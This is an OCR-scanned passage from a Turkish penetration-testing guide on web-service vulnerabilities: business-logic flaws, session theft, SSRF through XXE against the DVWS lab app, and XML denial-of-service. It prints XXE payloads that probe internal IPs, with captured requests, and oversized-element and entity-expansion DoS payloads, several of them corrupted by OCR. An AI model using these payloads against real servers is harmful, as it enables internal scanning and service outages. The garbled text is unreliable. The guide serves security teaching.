- Sunucuyu yormak ve DDoS saldirisi



5.3 - Web Servislerde is Mantig1 Zafiyetleri

Bu zafiyet tiirleri web uygulamalarinin bir standarda bagli kalmamalari ve her gelistiricinin
gelistirdigi web uygulamasinin farkli olmasindan kaynaklanmaktadir. Bu farklibik gelistiricinin
diislince yapisina gore veya kullandigr algoritmalar sonucunda ortaya ¢ikmaktadir.

Bu sebeple bu konu cok uzun ve sonu olmayan bir konu olmaktadir. Bir ka¢ ornek verilerek
detaylandinilacaktir.

Ornek olarak, Twitter’in RESTful web servislerinde meydana gelen bir zafiyeti incelenecektir:

(Zafiyeti detayli olarak anlatan rapora https://hackerone.com/reports/52646 adresinden
erisilebilir.)

Kullanic1 Twitter icerisinde kendi olusturdugu bir direk mesaji(DM) silmektedir. DM’lerini
goriintiilediginde boyle bir mesajin artik olmadigim gormektedir. Fakat
https://dev.twitter.com/rest/tools/console adresinde bulunan konsol lizerinden REST servise
ait DM okuma fonksiyonuna, silinen DM’nin id degeri ile cagr yapildiginda DM’nin silindigi
halde okunabildigini goriilmektedir.

Web servislerinde(mobil/tablet uygulamalar tarafindan kullanilan) zaman zaman karsilasilan
bir diger zafiyet ise sifrenin sunucuya yapilan bazi istekler sonucu donen cevap icerisinde
bulunmasidir.

Gelistiricilerin bunu yapmasindaki temel amac; sifreyi cihaz icerisinde depolayarak her
seferinde kullanictyr yormamak adina yerel veritabani icerisinden yapilan sorgulama ile
uygulamaya giris yapmaktir.

BGA ekibi olarak bir mobil/tablet uygulamasina yaptigimiz sizma testi esnasinda, sifre
sifirlama fonksiyonunun, cevap olarak yeni sifreyi istemci tarafina dondirdiigi ve bu sifreyi
yeni sifre olarak cihaz icerisine kaydettigi goriilmiistiir.

Tirkiyenin onde gelen e-ticaret sitelerinden birine yaptigimiz bir baska testte ise;
mobil/tablet uygulamanin kullandig1 web servis wsdl’i tespit edilmis ve icerisinde kullanici
bilgilerini getiren bir fonksiyona rastlanilmistir. Fonksiyonun istemci tarafindan yalnizca e-
mail adresi alarak istenilen kullanicinin bilgilerini getirdigi goriilmistir. Daha da kritik olan
bir durum ise, bu fonksiyonun yapilan istege dondiigii cevap icerisinde, web site icerisindeki
kullanic1 parolasinin da olmasidir. Boyle bir zafiyet ile mail adresi bilinen herhangi bir
kullanicinin hesab1 ele gecirilebilmektedir.



Web servise ait fonksiyonlara doniilen cevaplar icerisinde bu gibi kritik verilerin tasinmamasi
gerekmektedir. Saldirganlar web sitesi lizerinden yaptigi saldirilardan sonuc alamasa da, bu
gibi mobil/tablet uygulamalarina ait, kesfetmis olduklar1 web servisler lizerinde bulunan
zafiyetler yardimiyla sisteme zarar verebilmektedirler.



5.4 - Web Servislerinde Oturum Calma Zafiyetleri

Bu zafiyetler aynmi ag icerisinde bulunan kullanicilarin MITM saldirlan gerceklestirerek agi
koklamalar sonucunda, kullanicilarin oturumlarini saglayan degerleri ele gecirmesi sonucu
ortaya cikmaktadir.

Guvensiz bir protokol -HTTP- lizerinden yayinlanan web servisler bu zafiyete sebep
olmaktadir. Web servis her kullanicinin oturumunu saglayacak bir SID(Session ID) degeri
kullanarak bu zafiyetin oniine gecebilir. Diger bir ¢6ziim de kullanicinin giris yapmasini
saglayacak olan bilgilerin tiim isteklerin igcinde sunucuya aktarilmasi olabilir.

Web servis her kullanicinin oturumunu saglayacak bir SID(Session ID) degeri kullanabilir veya
kullanicinin giris yapmasini saglayacak olan bilgilerin tiim istekler icerisinde sunucuya
aktarilmasi ile oturum sagliyor olabilir.

SSL destegi olmayan bu web servisi kullanicilarinin, oturumlarinin saglandigi SID degerinin
calinmasi durumunda ag icerisindeki herhangi birinin saldirisina maruz kalabilir.



5.5 - Web Servislerinde SSRF Zafiyetleri

SSRF(Server-Side Request Forgery) zafiyeti, saldirganin sunucu tarafina manipule edilmis -
sahte- istekler olusturmasi ve disaridan yapilamayacak islemleri dolayli yoldan sunucuya
yaptirmasidir.

Ornegin, port taramasina kapali bir sunucunun portlar, sunucu iizerinde bulunan SSRF zafiyeti
ile taranabilmektedir. Localdeki bir dosyanin okunmasini da imkan verebilmektedir. Bunlardan
baska SSRF zafiyeti bulunan sunucu lizerinden baska bir sunucuya DDoS atagi yapilmasini, DNS
sorgusu gonderilmesini de saglayabilmektedir.

Ornek olarak https://github.com/snoopythesecuritydog/dvws/ uygulamas iizerinde bulunan
XXE zafiyetini somiirerek bazi yerel IP adreslerine istek yapacagiz ve donen cevabi analiz
edilecektir.

Sayfa icerisindeki “Print Greeting” butonuna tiklanildiginda sunucu tarafindan bir mesaj
dondigu gorilmektedir.

€ local.host ulnerabilities e E1 C ‘ larama wB ¥ A =

XML External Entity 2

Many web and mobile applications rely on web services communication for client-server interaction. An XML External Entity attack is a type of attack
against an application that parses XML input

An XXE attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead
to the disclosure of confidential data, denial of service, port scanning from the perspective of the machine where the parser is located, and other system
impacts.
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This XXE example processes and parses the entire request sent by the print greeting button

Print Greeting

Hello, Thankyou for using DVWS

Yapilan istek BurpSuite ile yakalandiginda ve bir XML datanin gonderildigi goriilmiistiir.



ranyeL mpanLaLUSt () [

Response

Raw | Params | Headers | Hex | XML Raw | Headers | Hex

POST /dvws/vulnerabilities/xxe2/server.php HTTP/1.1 A HTTP/L.l 200 OK A
Host: local.host r Date: Sun, 28 Feb 2016 17:14:41 GMT r
User-Agent: Mozilla/5.0 (Windows NT €.1; rv:44.0) Gecko/20100101 Server: Apache/2.4.9 (Win32) PHP/5.5.12

Firefox/44.0 X-Powered-By: PHP/5.5.12

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;¢=0.8 Content-Length: 30

Accept-Language: tr-TR,tr;q=0.8,en-US;¢=0.5,en;¢=0.3 Keep-Alive: timeout=5, max=100

Accept-Encoding: gzip, deflate Connection: Keep-Alive
: Content-Type: text/html

Hello, Thankyou for using DVWS

Connection: keep-alive

<uservalue>
<value>DVWS</value>
</uservalue>

Gonderilen XML veri bir XXE payloadi ile degistirilerek ag icerisindeki bir makinenin varolup
olmadigina bakilabilmektedir.

Yerel ag icerisinde alinmamis bir IP olan 192.168.1.10 adresini iceren bir payload
hazirlanarak, SSRF zafiyetini bulunduran sunucuya gonderilmistir.

<?xml version="1.0" encoding="[S0-8859-1"7?>
<IDOCTYPE foo [
<IELEMENT foo ANY >
<IENTITY xxe SYSTEM "http://192.168.1.10" >]><foo>&xxe;</foo>

Sunucu boyle bir IP adresine erisemedigi icin asagidaki hata mesajin1 dondiirmektedir.

Go Cance <|v >|v Target: http:/local.host lﬂ L’J

Request Response

Raw | Params | Headers | Hex | XML Raw | Headers | Hex | HTML | Render

POST /dvws/vulnerabilities/xxe2/server.php HTTP/L.1 A HTTP/Ll.1 200 OK A

Host: local.host r Date: Sun, 28 Feb 2016 17:19:20 GMT

User-Agent: Mozilla/5.0 (Windows NT &.1; rv:44.0) Gecko/20100101 Server: Apache/2.4.9 (Win32) PHP/5.5.12

Firefox/44.0 X-Powered-By: PHP/5.5.12

Accept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*;=0.8 Keep-Alive: timeout=5, max=100

Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Connection: Keep-Alive

Accept-Encoding: gzip, deflate Content-Type: text/html

Referer: http://local.host/dvws/vulnerabilities/xxel2/ Content-Length: 8210

Content-Length: 154

Content-Type: text/plain;charset=UTF-8 <br />

Connection: keep-alive <font size='l'><table class='xdebug-error xe-warning' dir='ltr'
border='1' cellspacing='0' cellpadding='1'>

<2xml version="1.0" encoding="IS0-8859-1"2> <tr><th align='left' bgcolor='#£57900' colspan="5"><span

<!DOCTYPE foo [ style='background-color: #cc0000; color: #fceO4f; font-size: x-large; '>(

<!ELEMENT foo ANY > ! )</span> Warning: DOMDocument::loadXML (http://192.168.1.10): failed to
<!ENTITY xxe SYSTEM "http://192.168.1.10" >]><foo>&xxe;</foo> open stream: A connection attempt failed because the connected party did

not properly respond after a period of time, or established connection
failed because connected host has failed to respond.
in C:\wamp\www\dvws\vulnerabilities\xxe2\server.php on line
<i>6</i></th></tr>
<tr><th align='left' bgcolor='#eOhUte' colspan='5'>Call Stack</th></tr>
<tr><th align= er' bgcolor=' '>#</th><th align='left'
bacolor="'#ee '>Time</th><th alion='left'

Fakat yerel ag icerisinde varolan 192.168.1.2 IP adresine bir istek yapildiginda herhangi bir
hata sayfasinin gelmedigi ve bu IP’nin erisilebilir bir IP oldugu goriilmektedir.

<?xml version="1.0" encoding="IS0-8859-1"7?>
<IDOCTYPE foo [
<IELEMENT foo ANY >
<IENTITY xxe SYSTEM "http://192.168.1.2" >]><foo>&xxe;</foo>




D e
Request

Raw | Params | Headers | Hex | XML

Response

Raw | Headers | Hex

POST /dvws/vulnerabilities/xxe2/server.php HTTE/L.1

Host: local.host

User-Agent: Mozilla/5.0 (Windows NT &.1; rv:44.0) Gecko/20100101
Firefox/44.0

Accept:

text/html, application/xhtml+xml, application/xml;c=0.9,*/*;¢=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;¢=0.5,en;¢=0.3
Accept-Encoding: gzip, deflate

Referer: http://local.host/dvws/vulnerabilities/xxe2/
Content-Length: 153

Content-Type: text/plain;charset=UTF-8

Connection: keep-alive

<?xml version="1.0" encoding="IS0-8859-1"2>
<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "http://192.168.1.2" >]><foo>&xxe;</foo>

T

HTTE/L.1 200 OK

Date: Sun, 28 Feb 2016 17:25:23 GMT
Server: Apache/2.4.9 (Win32) PHP/5.5.12
X-Powered-By: PHP/5.5.12
Content-Length: 26

Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

Content-Type: text/html

Hello, Thankyou for using

T




5.6 - Web Servislerinde DoS(Servis Dis1 Birakma) Zafiyetleri

Istemci tarafindan génderilen XML veriler sunucu tarafinda bir XML parser yardimiyla
coziimlenir ve islenir. iki tip XML coziimleyici(parser) bulunmaktadir. Bunlar SAX tabanli ve
DOM tabanli XML cozumleyicilerdir.

SAX tabanli ¢oziimleyiciler, ¢éziimleme islemi esnasinda yapilari geregi bellekte maksimum 2
elementi tutmaktadirlar. Bu durumda servis dis1 birakma zafiyeti SAX tabanli cozumleyiciler
icin soz konusu olmamaktadir.

DOM tabanli coziimleyiciler, istemci tarafindan gelmis olan tiim XML veriyi bellege alir. Bu
sebeple bellek icerisinde cok buyik nesneler olusmasina sebep olabilirler. Bu durumda, servis
dis1 birakma saldirilan bu ¢coziimleyici icin kaginilmaz olmaktadir. XML’e ait diiglim, attribute
gibi degerlerin boyut ve adetlerinin kontrol edilmemesi durumu bunu tetiklemektedir.

Buna ornek olarak element adi lizerinden uygulanan saldir asagidaki gibi olacaktir.

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<TEST>
<BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA...
...... BGABGABGABGABGABGABGABGABGABGA>
</TEST>
</soapenv:Body>
</soapenv:Envelope>

Attribute lizerinden uygulanan saldin asagidaki gibi olacaktir.

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<TEST>
<BGA attribute="BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA...
...... BGABGABGABGABGABGABGABGABGABGA”></BGA>
</TEST>
</soapenv:Body>
</soapenv:Envelope>

Attribute sayis1 lizerinden uygulanan saldin asagidaki gibi olacaktir. (Ayni sekilde belli bir
elementin tekrar edilmesi durumu da olabilmektedir.)

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>




<soapenv:Body>
<TEST>
<BGA
attribute1="BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA...BGABGABGABGABGAB
GABGABGABGABGA”
attribute2="BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA...BGABGABGABGABGAB
GABGABGABGABGA”
attribute3="BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA...BGABGABGABGABGAB
GABGABGABGABGA”></BGA>
</TEST>
</soapenv:Body>
</soapenv:Envelope>

Bir baska servis dis1 birakma zafiyeti ise XXE saldirilarinin basarili oldugu durumlarda
yapilabilmektedir.

Entity kullanarak DDoS saldirisi yapan saldirgan asagidaki gibi bir payloadi kullanacaktir.

<?xml version="1.0" encoding="IS0-8859-1"7?>

<IDOCTYPE bga [
<IELEMENT ANY >
<IENTITY bgat "bga1">
<IENTITY bga2 "&bga1;&bgal;&bgal;&bgatl;&bgal;&bgat;"
<IENTITY bga3 "&bga2;&bga2;&bga2;&bga?2;&bga2;&bga2;"
<IENTITY bga4 "&bga3;&bga3;&bga3;&bga3;&bga3;&bga3;"”
<IENTITY bga5 "&bga4;&bga4d;&bga4;&bga4;&bga4;&bga4;"
<IENTITY bgaé "&bga5;&bga5;&bga5;&bgab;&bga5;&bga5;"

1>

<bga>&bgab;</bga>

vV V V V V

Saldirgan baz1 entityler tanimlamis ve en son durumda bgaé’r cagirmistir.

Cagirilan bgaé varligi icerisinde bga5 varligin1 6 defa cagirmistir. Aynmi sekilde her bir bga5
varligida bga4 varligin1 6 defa cagirmistir.

Bu varlik ve cagirnm adetleri daha da artirilarak bir payload gonderildiginde XML parser
uzerine dusen yik cok fazla olacak ve sunucu bir zamandan sonra cevap veremeyerek servis
dis1 birakma saldirisina maruz kalacaktir.




